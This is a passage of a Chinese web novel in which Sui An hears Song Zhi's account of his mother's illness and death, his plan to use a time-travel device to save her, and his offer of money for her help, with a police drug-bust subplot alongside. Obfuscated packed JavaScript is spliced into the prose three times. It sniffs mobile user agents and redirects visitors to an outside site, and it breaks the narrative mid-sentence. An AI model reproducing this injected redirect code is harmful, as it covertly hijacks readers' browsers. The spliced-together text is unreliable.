从那以后,雎安就变成了沉默的乖孩子。 乖到母亲和阿姨通电话的时候,总会骄傲地说,她的女儿没有青春期,一直都很听话。 而属于她的叛逆期,在她能够自力更生的那一刻,也就是高考完的那年暑假,收到了人生第一笔工资的瞬间,终于开始了。 眼见宋挚的情绪越来越低落,自己也快陷进负面情绪的泥潭里,雎安在宋挚开口之际,突然拿起茶壶,给自己和宋挚倒了杯玫瑰红茶烤奶。 “你也喝点吧,润润口。” 当甜腻的液体由喉入胃,雎安好似瞬间获得了力量,强迫自己从情绪中抽离,还试图安慰宋挚。 “当时的你还在青春期,出现‘仇亲’情绪是正常的。我曾经看过一篇文章,说是青春期的大脑发育和成年后的不一样。那时候,负责情绪的边缘系统在快速发育,少年们就会很难控制住自己的情绪。你的父母又都是高知,我想,他们在面对你持续不断的坏情绪时,一定找过原因和解决方法,就是因为对你的情况有所了解,所以才说了那番话,给了他们认知里的力所能及的支持。” “你不用太内疚,真的。” 这是雎安和宋挚对视时间最长的一次,她没有移开视线,他也没有。 “只能说,幸好我考完以后情绪就平稳了很多,自然而然就想通了。” 这次是宋挚率先移开了视线。 他拿起面前的杯子,将杯中温热的奶茶一饮而尽后,忍着极为陌生的甜腻感,接着说道:“高考结束后,我和父母吃了顿晚饭,隔天就和朋友们去毕业旅游了。两个星期后,当我拖着行李回家,兴高采烈地找人分享我的旅游见闻时,我爸终于开了口。他说,厨房里熬的汤是要带去医院给我妈的,让我没事就多去陪陪妈妈,她现在很难受。” 说到这,宋挚没有预兆的心痛,心脏像是被不知名的重物锤击,又像是被什么人抓握着,难受得无法形容。 他垂着头,眼神愈加黯淡,“我那时候才知道,我妈在二月份就查出了癌症,因为怕会影响到我,所以就一直瞒着我。而他们原本是打算在考完试那天就告诉我实情,但听到我兴冲冲地说要和朋友去毕业旅行,就没忍心扫我的兴。而我,偏偏在我妈深受打击、最需要支持的那段时间里,还在不断地埋怨她。当时她笑着对我说,只要我健康就好的时候,我还说她只会说这些没用的虚话......” 雎安确定,在淅淅沥沥的雨声中,在苏菲放声痛哭的诉泣声中,她听到宋挚的声音在打颤。 “虽然,我爸妈总说我没错,让我不要自责,可我还是没办法原谅我自己。” “但自责又有什么用?我很清楚,我的家人需要的是支持和陪伴。所以,自那以后我就把时间和精力都放在了家人身上。我想,只要我将母亲照顾好,只要我们一家都够坚定,奇迹就会发生。” “毕竟,这世上每天都有奇迹在发生,那怎么就不可能发生在我家人的身上呢?” 雎安的心跟着一紧。 虽然她已经知道邓玉瑛的人生终点,但还是希望她前往终点的路途可以美好一些、少受病痛的折磨。 “21年6月份的时候,我妈抗癌四年,病情非但没有好转,反而越来越严重,她的头发也都掉光了,爱美的她甚至不愿意再看到镜子。7月份的时候,她提出要出院,说要在大自然里度过余生,我和我爸虽然接受不了,但还是尊重她的意愿,把她带到城郊的别墅里养病。此后,我妈每天就是晒晒太阳、唱唱歌,有精力了就会让我陪她打牌看剧,没精力就窝在房间里睡觉。日子就这样一天天过去,我们嘴上不说,可都在心里做好了分别的准备。本来我是想休学的,但我父母都不赞同,我就只能每天去上课,上完课就开车回家。就这么维持近一年,有一天我回到家,看到我母亲站在院子里发呆,我就觉得她有些不一样了......” “没事了,对吧?”雎安有些激动,竟直接问了出来。 “嗯。”宋挚的眼神坚定而明亮,偏他眼眶红红的,像兔子的眼睛,眼睛里的眼泪还不合时宜地滑落,让他的神情看起来格外令人动容。“她的腰背有力量了,不像化疗那段时间,不是躺着,就是弓着背。去年八月份的时候,她甚至说想在院子里种点菜、再养条狗,当时我爸就提议去医院检查看看,说不定是好了。我妈一开始还不肯去,后来一查,虽然没有到痊愈的地步,但却是不会危及到生命了。” “真好。”雎安微微侧身,掩饰早已湿润的眼底,“阿姨是很好的人,值得这样的奇迹。” 她是个极易共情的人,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15963967|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋挚情真意切的叙述中,自然地将自己代入到了情境中。 她自认和父母有着不可调和的矛盾和不可逾越的鸿沟,但她绝不会想看到他们被病痛折磨、因意外而受伤。 可病痛和意外,偏偏就是那种好似可以提前规避,却又无法掌控的事。 所以,她很高兴能听到这个故事,虽然她和邓玉瑛只有一面之缘,但她说的并不是客套话,而是发自内心的实意。 因为这个故事带给她一种即便坠入深渊,也可以凭着意念长出翅膀的力量。 “是啊,她值得这世上最好的一切。” 宋挚的这句话,让雎安心头一震。 “自那以后,我将更多时间用于陪伴我妈,希望能早日完成她周游世界的梦想,可我妈的身体还在恢复期,去不了太远的地方,计划就被搁置了。一直到今年年初,短短几个月内,我妈的身体恢复得很好,我们一家商量着,索性就选今年的暑期一起去欧洲旅行。” 宋挚眼眶是红的,眼睛也是湿漉漉的,但泪水就是没有落下。说到最后,他的嘴角弯起一个弧度,可那不是笑,那是比哭还难看的表情。 “只是......你知道的,我刚刚也说了,我妈在二月中旬就被人毒害了。” 雎安的内心不受控制地随他的情绪起伏,胸口像是被什么重物压着般沉重。 “可是,黄斌为什么要毒害阿姨呢?”她不解地问道:“阿姨不是去工厂帮他讨说法了吗?之前又帮他了那么多,怎么都不该害她啊。” 谈及此,若是再说下去,话题就跑得太偏了。 宋挚并不想和雎安谈论黄斌的事。 “那都不重要了。”宋挚出口就是违心的话,他明明非常在意黄斌,可仍接着道:“重要的是,我母亲的生死。” “什么意思?”她眉头一蹙,心中有猜想,只是很快就被她否决。 萨丽曼的尖叫声、流星坠落的消陨声、神秘而怪怖的歌声接憧而至。此刻,它们发出的声响和电影里那些围绕着哈尔和苏菲的小人一般诡异,雎安不禁打了个寒颤。 “我想改变过去,救我的母亲。” 宋挚表情坚定,声音里充满着决心。 要不是他的话过于离谱,雎安很可能会顺着他的话,说些“有志者事竟成”之类的话来鼓励他。 可是......他要改变过去,救活已经逝去的人,这怎么听都太魔幻了。 雎安甚至一度以为是自己幻听,亦或是,她其实还在装置里? 刚播放电影的时候,兴许是为了营造浪漫的氛围,服务员特地上楼将卷帘和挂帘一一放下,室内转换为依赖壁灯和台灯来提供光线。 此刻,在壁灯的照耀下,雎安的半边脸曝露于灯光下,另一边隐匿于黑暗中。 宋挚借着昏黄的灯光,观察着她表情的每个细微变化,新奇地发现她眼底的情绪竟在短时间内转换好几次。 她先是不可置信看着他,张嘴似是想问什么,而后却垂头看着桌面,不知是想到了什么,面露担忧、疑惑、迷茫和惊惧。 其中,有些情绪他看得懂,有些情绪他却无法理解。 宋挚定定地看着她,希望能促使她说些什么,却无意间发现她那略微肿胀的眼皮下,眼睫有被泪湿的氤氲,水盈盈的眼眸低垂着,将她整个人衬得无助又可怜。 他记得很清楚,她刚来的时候情绪虽然低落,但眼中并无泪光。而他们现下谈论的话题,并无任何情感触动,她的眼底也没有呼之欲出的眼泪。 那就是说,在他一度哽咽的时候,她因为他讲述的过往而落了泪。 27. 判若两人 宋挚自认并非是讲故事的好手。 虽然他在讲述过往的时候几欲落泪,但他知道这是因为他讲的是他的亲身经历,不是因为他的巧妙的节奏控制和辞藻渲染起的作用。 雎安能在他简短的叙述中被触动,还因此落泪。这就证明,她很有共情力和同理心。 宋挚想,虽然这不足以让雎安感同身受,但她的内心一定因此有了感触,而有这份感触,也就足够了。 他是过来人,很清楚这世上少有真正的感同身受。 就好像他无法在母亲生病时,感同她身体上的痛苦。 他还记得他一开始陪护的时候,碰见母亲情绪失控的场景,会露出害怕和不理解的表情,会觉得那病房宛如鳄鱼的深渊大嘴,觉得它是能将人的好心情和好胃口都吞噬殆尽的怪物,心里会很想逃离那满是机器声和痛吟声的病房。 直到他冷静下来思考,努力感同母亲的痛苦,脑中便会不断浮现母亲受伤的眼神和后悔的表情,心脏处的钝痛才逐渐击败了他对病房的恐惧。 或许......面对性情大变的亲人时,雎安会表现得比他更有同理心。 这样想着,宋挚重新把注意力放在了雎安氤氲的泪眸上。 而一旁的雎安仍然没有回神,面上仍是那担忧和惊惧参半的表情。 她在想另一件事,一件比起宋挚想改变过去更让她感到惊惧的事。 如果宋挚要利用装置来改变过去,那装置必然得和现实联通。 不然,就还是会出现装置里的人被救下,但现实并未改变的事。 那如果装置可以和现实联通,那大概率也可以连通未来。 如果装置可以联通未来,那是不是就意味着,她脑中的那些记忆是未来会发生的事呢? 她会搬出去住,结识周浮沉,拒绝宋挚的追求,心里却还是爱着宋挚,和宋挚纠缠不清,又和宋挚在一起,最后还为了他手刃卢宇年。 事情看似离谱,但她却不得不警惕,因为她结识的人和遇到的事都有往这个方向发展的迹象。 毕竟,雎安和宋挚不同。 那些抓马的故事情节,与她而言是记忆,在她的脑海中有确切的画面和感受,就像是她亲身经历过一样。 而对于宋挚而言,他并不认为雎安嘴里的宋挚会是他,只当是听了个离谱的故事,画面全在于他的想象力,实打实的感受更是没有。 “我可以确切地告诉你,宋教授的装置一直都是以时空穿越为最终目的,从而进行的实验研究。” 见雎安始终不发一言,宋挚敛去情绪,声音沉稳且冷静。 “因为情人节那天,宋教授约了我妈去嘉源广场吃烛光晚餐,但他却因为实验而失约,等他反应过来的时候,我妈人已经到了工厂。我妈出事后,他很崩溃、也很自责。他当时信誓旦旦地像我承诺,说他会用装置改变过去,救回我妈。之后,他就一头扎进了实验室。” 只是,他冷静的声音下有怒气,怒气下又带着丝愤恨。 雎安注意到,宋挚在提到装置的那刻起,就将对宋言林的称呼,从亲昵的“我爸”改成了疏离的“宋教授”。 “今年四月份的时候,宋教授的装置有了些进展,得到了不少公司的青睐,获得了大量资金和新的设备。不仅如此,他们还宣传宋教授的项目,扬言宋教授未来很有可能会获得国际大奖。”宋挚轻嗤一声,“五月初的时候,宋教授进入装置,顺利完成了第一次实验。有趣的是,自那以后,他对救我妈的事避而不谈。我问他到底是什么回事,他却说他能力不够,救不了了。” “这......我得帮宋教授解释一下。” 虽然有些失礼,虽然宋挚投来的的眼神格外凌厉,雎安仍然选择打断他:“我进去过装置,所以我可以确切地告诉你,在装置里改变过去,现实并不会因此改变。因为我就在装置里救下了我的老师,但她并没有在现实中活过来。” “所以,宋教授很可能是发现他真的做不到,但又怕你太伤心,所以才避而不谈。” 雎安能理解他为什么会对宋言林有怨气、为什么会提出这样的质疑。 她想,他除了责怪父亲的失约,还觉得他的父亲对母亲不够重视。 在他的视角里,抗癌五年多的母亲好不容易有了转好,父亲就一头扎进实验里,两耳不闻窗外事。如今父亲有了些成就,就把救母亲的承诺抛之脑后。 那他父亲完全就是负心汉的做派啊。 可雎安却觉得,虽然邓玉瑛的死确实和宋言林的失约有关,但以她对宋言林的了解,就算他和邓玉瑛在餐厅里吃着烛光晚餐,只要邓玉瑛接起那通电话,他就会跟着邓玉瑛去工厂,一起帮黄斌讨个说法。 而结局,很可能是两个人都会出事。 至于宋言林忽视承诺的这件事,雎安也有她的看法。 她觉得,与其说宋言林是因为名利而背弃承诺,不如说他是有心、却无力。因为她在装置里救下邓玉瑛后,也曾期待过能在这里见到活生生的她。 可现实就是,逝去的人便是逝去了。 只是,雎安的这一通分析和劝解,是绝不会说给宋挚听的。 这毕竟是她的猜测,她不是宋挚,没有宋挚的经历,也不知道宋言林的真实想法。而她又很清楚,宋挚对宋言林有怨、有怒,甚至暗含着一些恨意。 “时空穿越不是件能轻易做到的事。这点,我很清楚,宋教授更清楚。” 兴许是不满雎安明显偏向宋言林的态度,宋挚身体前倾,主动拉进两人的距离,压迫感骤然增加的同时,看向雎安的眼睛里透着令她难以忽视的寒气,和刚才低声询问她菜品合不合口味的他,判若两人。 “所以,他一开始信誓旦旦地承诺,哪怕实验在短时间内无法成功,他需要耗费几十年光阴去研究,也会拼尽全力去做。可不过几个月时间,他不过是有了点小名小利,就改口说自己能力不够,还让我不要总想着母亲的事。” “你觉得,这正常吗?” 这才符合她在现实中对宋挚的印象。 无论是第一次见面时的侧目,还是第二次他说她不诚实时俯视她的眼神,她都毫不意外,因为她知道那就是宋挚,而他怎么都不该是刚才那种嘘寒问暖的状态。 柔情却虚假,像披着人皮的狼。 但也是因为他披着的“人皮”,她松懈得差点就卸下防备,甚至在他说完以后,想和他分享她的苦痛。 但她不傻,她看得出他对她的经历并不感兴趣。 “宋教授可能只是嘴上说说而已。” 宋挚刚刚越讲越急,最后甚至有点像在质问,而雎安一向吃软不吃硬,她不觉得她得顺着宋挚说话。 “这种实验还不知道什么时候能有个结果,兴许是一年,兴许是十年,也可能是百年、千年,最终由后人来完成。宋教授的职业本身就和装置有关,可以全身心地投入进去。但你不是,要是给了你太多希望,促使你一直把目光和注意力都放在装置上。那你的现在和未来,要怎么办?” 宋挚被突然硬气起来反驳他的雎安惊了一下,他一直以为她是那种被父母打压到缺失自我意识、会为了回避冲突而以别人的想法和感受为先的女生。 “可如果你是我,出事的是你最在乎的……” 雎安直接打断情绪愈加激动的宋挚,话锋一转,“不过,你说的也有可能。你想我怎么帮你?有主意了吗?” 看似,她又顺从了他。 宋挚被问得一愣,冷静十几秒后,终于意识到自己刚才过于情绪化了。 她更信任宋言林,本来就是可以理解的事。 “抱歉,一说家里的事,我就会有些急躁。”宋挚靠回到椅背上,拿起茶杯,将刚刚剩下半杯的茉莉柠檬绿茶一饮而尽。 雎安也不说话,只等他开口。 “我妈和叶老师不一样。2021年6月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15971234|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份,是我妈病得最严重的时候,她以为她的生命进入了死亡倒计时,就主动提出要进装置实验。那个时候的装置很简陋,连初级设定都没有完成,没有一个人对它有信心,宋教授更是坚决不同意,可我妈却说要是不能满足她的心愿,这会成为她这辈子最大的遗憾。” 听到这,雎安知道宋挚像谁了。 “宋教授妥协了,所以,我妈是第一个进入到装置的人。” “我从实验小组那了解到,他们目前认为装置是独立于现实的四维空间。虽然有很多解释不通的疑点,但至少,我妈和你都成功回到了过去。我记得我妈说过,她回到了我高考完的那个下午,将她生病的事亲口告诉了我,还选择了最保守的药物控制。后来,我们一家还去了欧洲旅行。” 电影中,苏菲握着烛台一步步走向魔化的哈尔,饱含爱意和心疼地放声表白。只是,哈尔的拒绝和骤然响起的水流声很快就将她拉回到现实…… 雎安发现,不论是苏菲,还是邓玉瑛和她,不论是在梦里,还是在装置里,她们都更忠于自己的内心。 “我查过,2017年的高考是在6月8号的下午五点结束,我们吃饭的地方是在南林街道的那间张记酒家,我希望你能在下午六点半之前去到那,看看你所遇到的邓玉瑛有没有说她生病的事。” 这回,宋挚的身体不自觉地往前倾,“如果她说了,你就告诉她,她的病很快会在五年内自愈,不用担心。最重要的是!2023年的情人节,请她一定要待在家里,不论发生什么事,都不要出门!” “可是......” 这话是如此熟悉,一时间,雎安的脑子很乱,“你让我想想。” 雎安记得宋言林说过,装置最神奇的一点,就是实验者离开后,装置内的世界会按着被改变后的轨迹有序运行。 那就意味着,她进去装置以后,就算有其他实验者,凭肉眼也是分辨不出来的。 况且,邓玉瑛是21年进的装置,人早就出来了,难道她可以和那时的她对话? 如果这么简单的话,宋言林作为开发者,怎么会想不到? “第一次实验的时候,我大幅度的跳转时间,身体出现了明显不适。第二次的时候,宋教授就不允许我自己跳时间了,只许我按着他设定好的时间和地点来行动。”雎安垂眸,不想看到宋挚黯淡下去的眼眸,“我是签了合同的,如果宋教授以我的冒失行为和我索要赔偿金......抱歉,我可能帮不了你。” “如果你愿意的话,我可以先把赔偿金转给你,再额外给你30万。” 如果只是因为钱,倒是好办,宋挚毫不犹豫道:“你放心,我会标明是赠与,并和你去公证。” 他哪来的那么多钱? 雎安心里犯嘀咕,倒不是怀疑宋挚讲大话骗她,只是觉得宋挚手头上不应该有那么多钱。 见雎安有些迟疑,宋挚直接加大筹码。 “你违约的赔偿金是多少?”宋挚追问。 “啊?”雎安回忆了一下,“100万。” “好,那我给你150万。如果你能说服宋教授,或是神不知鬼不觉地完成这件事,那这笔钱全是你的。如果你没办法,只能违约,那赔偿后剩下的50万依然是你的。” 他毕竟做过功课,知道雎安的家境不好,这150万于她而言,绝对是一笔巨款,足以让她和他站在同一战线上。 “还有,我在嘉源物业那有熟人,只要你父亲去面试就可以入职,但是能不能过试用期,就得看他的工作态度和专业程度了。” 雎安脸上出现了他预想之外的表情,宋挚不免意外。 刚才,他说要预先支付150万的时候,雎安的眼睛陡然睁大,面上是遮掩不住的吃惊,但在他说要给她父亲介绍工作的时候,雎安的眼神蓦地冷了下去,连惊讶的情绪都被盖了下去。 雎安冷着脸,问道,“你怎么会知道我爸失业的事?” 28. 一声枪响 坑自己的父亲总不算太坑。 情急之下,宋挚果断拿宋言林当挡箭牌,“你来实验,宋教授需要查清楚你的背景,我无意间看到过那些资料。” 虽然有猜到,但雎安的脸还是涨得通红。 因为......她对宋挚有想法。 她喜欢他冷脸时散发出的生人勿进的冷冽气息,沉醉于他柔情时眼睛里那能掐出水来的蜜意。 虽然,这种喜欢很肤浅。 她完全是基于他爱她的前提,喜欢被照顾、被关心的感觉而对他动的心。 他们甚至都没有好好交流过。 可她是有了解眼前这个人的想法的,也希望对方可以通过和她交流,对她有所了解。 至少对她的印象,不要停留在他们初遇时,她胆小畏缩的样子。 原先,她以为自己在他面前是“朦胧”的。 因为不了解,就像是彼此之间蒙着层雾气,因为神秘而有着朦胧美。 可原来,他知道她的经历和她的家庭背景。 而她的家庭背景,是她最在意的部分。 “对不起,我不该这么冒犯。” 宋挚不是没眼力见的人,但他还是选择说下去:“但你父亲再过几年就五十岁了,等过了五十岁,就很难就业了。如果是缺失机会,我可以帮忙。如果是因为之前的工作有心理阴影,我也可以帮忙推荐心理医生。” 雎安低着头,不论是面部表情,还是肢体动作都在往下沉。 “再这样下去,你的父母会把所有的生活希望和负担都压在你身上。情况会越来越糟糕,你受不了的。” 宋挚觉得他有必要提醒雎安,他不仅可以给她金钱上的帮助,还可以给她的生活带来实质性的改变。 就好比小学课文里的《小白兔和小灰兔》的故事。 只是,他这个“老山羊”更慷慨,不仅愿意给她“一车白菜”,还愿意给她“菜种子”,如果她不会“种菜”,他还愿意教她方法。 “我得仔细想想,过几天再说吧。”雎安的声音冷清,抬头看向宋挚的眼睛里,有着令宋挚倍感熟悉的死寂感。 “没事,你只需要在下次实验前给我回复,这几天好好考虑一下。”宋挚拿起身后的礼袋,放置在雎安面前,“小礼物,也算是唐突地来找你说这些的赔礼。和你做什么决定无关,不用有负担。” 自此,他计划的一切都完成了。 雎安问道:“我可以拆开看看吗?” 他们的经济水平有不小的差距,他说是小礼物,雎安就怕不是她认知里的小礼物。 如果太贵的话,她过后退还,还不如当面拒绝。 “可以。”宋挚点头,“希望你喜欢。” 礼袋里的礼盒是蓝白相间的条纹格,雎安扯掉蝴蝶结,小心翼翼地拿出礼盒里的小房子,发出一声感叹:“好可爱啊。” 小房子是蓝顶白墙的设计,墙面上还绘有两只小海鸥和一排红色的躺椅,海边度假的惬意气息扑面而来。 “打开看看,东西在里面。” 宋挚发现,雎安一直盯着小房子看,眼睛亮亮的,好像全然不知自己刚才的表情有多沮丧。 “这是什么?” 雎安将玻璃瓶从小房子内取出,端详着白色瓶身上的一串蓝色法文,只是她根本看不懂,猜也猜不到。 “护发精油。”宋挚朝雎安笑了笑,“我看它包装挺好的,摆在柜台上很好看。” “是挺好看的。” 听到是和香味有关的产品,雎安习惯性地拧开盖子去闻,只一贴近,栀子花的香气扑鼻而来。 “这......”雎安眉头一皱,“你很喜欢栀子花吗?” “我还好,选它是因为店员说这款卖得最好。你不喜欢这香味吗?” “喜欢。”雎安弯起唇角,真心道:“我喜欢栀子花。” 她想起了那张手写卡片: 雎安,栀子花的花语除了坚强,便是永恒的爱,是一生的守候。不管你是有心,还是无意,你都将栀子花送给了我,这就是缘分。我这个人,很相信缘分,更忠于自己的内心。 现在,我将玫瑰花送给你。 因为我想告诉你,除了一生的守候,还有我爱你。 在她的记忆里,栀子花与她而言,与宋挚而言,都有着特别的含义。 只不过,不是眼前的这个宋挚。 电影里,苏菲挽着哈尔在花海中漫步。突然,她提裙向前奔跑,喜悦让她重新拥有了年轻的容颜和直挺的脊背。 可很快,她和哈尔短暂的交心后,又因为自卑而容颜苍老、脊背佝偻。 “那就好。”宋挚笑得温柔,客套而礼貌。 之后,相对无言的两人大眼瞪小眼,陷入了能将时间无限拉长的沉默之中。 雎安最后又看了眼荧幕,动作快且轻地将礼物收好,借口说自己约了人,起身跟着宋挚离开了餐馆。 ———————— 围绕华江建立的观江景区是华州市唯一的5A级景区,景区附近原先都是成片的老房子,如今几乎都被改建成了民宿和餐饮店。当然,总有部分极具岭南风味的小巷子和楼房被保留了下来,和崭新亮堂的新式建筑形成鲜明对比。 王屹,一个不过四十三岁就已满头银丝的刑警,此刻正行走在墙皮成块脱落、扶手锈迹斑斑的楼梯间。 “这楼梯好陡啊,感觉一不小心都会滚下去。”林布朗跟在王屹身后,不由地发出感叹。 途径三楼时,王屹看了眼那狭长的廊道,以及走道尽头那“瘸腿”的木柜,轻描淡写地道:“这边的老房子都这样,你们年轻人没见过而已。” 两人抵达四楼后,一个长相乖巧到能用可爱来形容他的男人正站在敞开的铁门前等着他们。 “师傅,陈警官他们也在里边。” “陈川亮?”王屹表情严肃地挑了下眉尾,向梁询确认。 梁询立即回答:“是的,是陈川亮警官。” 陈川亮是王屹大学时期的同级同学,他知道他一直在周边的派出所工作,他们不熟,办案的时候碰到的概率也不大,要不是之前震惊全国的出租车司机□□案是他侦破的,王屹都要把这个名字给忘了。 “说一下情况。” 王屹在门口站定,林布朗自觉地站在楼梯上,没和他们去挤那逼仄的楼梯间。 “举报人是旁边那栋楼的一个独居的老奶奶,她说这栋楼已经很久都没人住了但,最近几个月老是在晚上发出咚咚咚的奇怪动静。这楼下的店铺又正好是售卖成人用品的,她就怀疑是有人在这卖?淫。今天中午,老奶奶又被动静吵醒,一气之下报了警。” 梁询一边指着门上那三个已经坏掉的锁,一边说道:“陈警官他们来了以后,发现这大门上了好几层锁,就打电话给房主。结果房主在国外,说他根本没把房子租出去,一直是空置的。陈警官就让人把门撬开,然后就发现了那些成箱的毒品。” “称重了吗?”王屹问道。 梁询点头,竖起右手的食指,声音发紧:“足足有一吨。” “多少?!”林布朗吓一跳,惊呼出声。 至于王屹,即便他面容沉静,即便他从警二十多年,也一度以为是自己听错了。 “一吨。”梁询重复一遍后,补充道:“甚至比这还要多,因为有好几个地方都有放置过箱子的痕迹,但已经空了。” 这数量,不论是从外部偷运进来,还是有谁敢在华州制毒,都意味着…… 王屹眉头紧蹙,咬紧下唇,既有震惊,更是无尽的担忧。 他不想再看到身边的人接连惨死了...... “砰!” 一声枪响骤起,打开了噩梦的序幕。 “砰!” 廖静纯手一抖,玻璃水杯跌落在地毯上,杯里的柠檬水洒得到处都是。 雎安被吓一跳,第一反应是护住她的考研资料,再来才是确认手机没事。 “抱歉。”廖静纯慌慌张张地道歉,立即去柜台拿了干毛巾过来,动手清理起桌面上的水渍。为了缓解尴尬,她一边清理一边询问:“请问想吃点什么?” “哦不用。”雎安摆摆手,“我就要一杯热的清莲饮。” 所谓清莲饮,就是山楂、芡实、红枣、莲子制成的养生茶,而这类新式中国茶饮就是“植庭茶馆”吸引雎安进店的点。 “好的,要另外加糖吗?”廖静纯抽了几张餐巾纸,确保自己已经将桌面擦干。 雎安笑了笑,“不用。” 半小时前,雎安和宋挚道别后,就鬼鬼祟祟地绕着外围的店铺逛了一圈,最后从“艺术仓”的后门进来,一眼就注意到了这家茶馆。 这家中式庭院风的植庭茶馆,从门外就能看到内里有一个别致的庭院,庭院内部有个半圆形的小池塘,里边都是红锦鲤,池边有不少人在喂食和拍照。雎安进门,再往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她循声抬头,男人正俯视着她,周身散发着摄人的凛冽气息,几乎是下意识的,她立即解释道:“是有人委托我寄的。周五的时候,有个男客人来店里喝茶。他叫住我,给了我五千现金,让我寄盒防晒给他朋友。我一开始不同意,担心是违禁品,他就又给了我五百,让我自己去附近的商场买最新的联名款“扶光”防晒寄出去,名字和地址都是他给我的。” 宋挚敏锐地找到一个突破点,“他手写给你的吗?” “不是。”廖静纯摇头,“是打印的。” “那你不好奇,他为什么不自己去寄吗?”宋挚问道。 廖静纯咽了咽口水,“我问了,但他没回答,就问我做不做,做就纯赚五千。” 宋挚看向吴珺的眼神如剑般尖锐,似要将其身体穿透。“五千块,就让你寄个东西,你就不怕惹祸上身?” 此刻,廖静纯的手心直冒汗,“东西让我来买的话,不过就是寄一盒防晒而已,寄的又不是什么违禁品。那可是五千块啊!我每个月扣完社保后到手也就三千多,他给我的钱比我一个月的工资都多,我怎么可能不心动?” 廖静纯在拿到钱后,其实心里就一直发虚,但她又很想要那五千块钱,于是就不断地宽慰自己。 她寄的又不是违禁品,不会有事的。 “你还记得那男人的样貌和体型特征吗?”宋挚接着问道。 “他戴着帽子和口罩,穿得很普通,样貌我也没看清。不过他应该年纪不大,头发很有个性。” “很有个性?” “嗯,有点像《悠长假期》里木村拓哉的发型。不过,我觉得大概率就是个类似的假发。” 廖静纯记得那天,他一进门,她就好奇地盯着那人的发尾和脖颈处看,还被瞪了一眼。 “那他周五大概是几点来的?”宋挚慢条斯理地问道。 廖静纯眼珠子打转,努力回忆了下,“我记得他问我什么饮品消食解腻,我就推荐了冷萃酸梅饮,应该是14点左右吧。” “那麻烦你让我看看那段时间的监控,我想他有可能是我认识的人。” 宋挚的话让廖静纯脸色大变,她退开一步,以防备的姿态解释道:“不行!监控只有店长能看,你以刚才的理由说要看监控,他是不会理你的。” “是你怕被店长发现,然后被他罚吧?”宋挚一眼看穿了她。 “没错。”廖静纯也不遮掩,以实例举证,“但我说的也是实话,之前有人说自己的金项链不见了,找了一圈没找到,嚷着要看监控。我们店长都没理她,就让她报警,让警察来查。” 警察来查? 宋挚略一思索,心里有了主意。 廖静纯见垂眸不语,不知道他在打什么主意,转身拿起那杯险些被遗忘在柜台的清莲饮,一边往前走一边嘟囔:“就是一盒防晒而已,收下不就好了,干嘛那么较真?” 话语间,廖静纯掀开垂帘往里走,雎安还没反应过来,视线直直撞进了宋挚的眼眸中。 瞬间的视线撞击,短而促。 她像是跌进了他的怀里,还没来得及作出反应,就被归位的隔帘给推了回来。 29. 唯美吻戏合集 宋挚掀帘而入,好似不经意地扫了眼雎安桌面上的考研资料,又好似不经意地在她隔壁桌落座。 “我要一杯酸梅饮,冷的,不加糖。” 廖静纯以为宋挚留在这是想找她麻烦,应完好后就麻溜地离开了。 “你要考研?”宋挚侧过身,毫不避讳地开口询问。 闻言,雎安将笔记本合上,侧过身,面对着他,“嗯,因为我不想做现在这份销售的工作了。” 她又笑了笑,像是自嘲,“我不是喜欢主动争取的人,个性使然加上能力有限吧。” “那你是想再深造深造?还是说有其它的规划?” 以雎安的家境,缺失她的收入来源的话,她的父母一定会毅然决然地反对。 宋挚猜测她考研的最终目的肯定和更加稳定的就业有关,如果是他能帮到的,他在她那的价值就会更高。 雎安也不知道自己是怎么了,刚才在餐馆还介意得不行,不想在他面前暴露自己太多的弱点和无助,这会儿反倒自己说出来了。 “深造?”雎安喝了口清莲饮,发现它已经不热了,“不是,我打算跨考。规划是有的,也还算清晰吧。” “考什么专业?”宋挚问道。 雎安并不想说那么细,“教育相关的。” 宋挚结合雎安的情况,猜测她考研是为了当老师。 稳定、体面、薪资中等,加上有足够的假期,假期时还能再赚点外快,对于父母收入低且工作都不稳定的家庭来说,这个职业绝对是TOP3之一。 宋挚话锋一转,“和叶老师有关吗?” “嗯?”雎安歪头。 宋挚想起了自己的舅舅,始终对那个撞击叶扶英的人耿耿于怀。尤其是,雎安还说她觉得那人眼熟。 “刚刚,你说你在装置里试图救下你的老师,你和她关系很好吗?” 雎安总觉得哪里怪怪的,“她是我的初中班主任。她人很好,即便我那时候很多人都有点......嗯脾气不太好,毕竟青春期嘛,她总能耐心地劝导,该摆出态度来解决问题的时候也绝不含糊。” 她发自内心地笑了出来,“我想接触教育相关的专业,确实和她有关。” 只是,除了叶扶英,雎安后来还碰到了很多负责任的好老师,只不过她们后来都生活得不错,所以没有让雎安如此记忆深刻。 “如果我们能从装置里救下我妈的话,要救下叶老师......也不是没可能。”宋挚的态度诚恳,并没有欺骗之意,“只要能找到一个突破口,紧接着就会有第二个、第三个......” 原来宋挚问这么多,弯弯绕绕,本意还是在劝她救邓玉瑛的那件事上。 雎安眨了眨眼,将身子侧回来一些,好像明白自己为何突然在他面前揭自己的短了。 她对宋挚的喜爱很浅薄,浅薄到在她感受到他对她无意的时候,潜意识里就放弃了他。 她很清楚她是个缺少爱和肯定的人,因为缺爱,所以更渴望被爱,因为缺少肯定,所以更容易陷入自我怀疑。 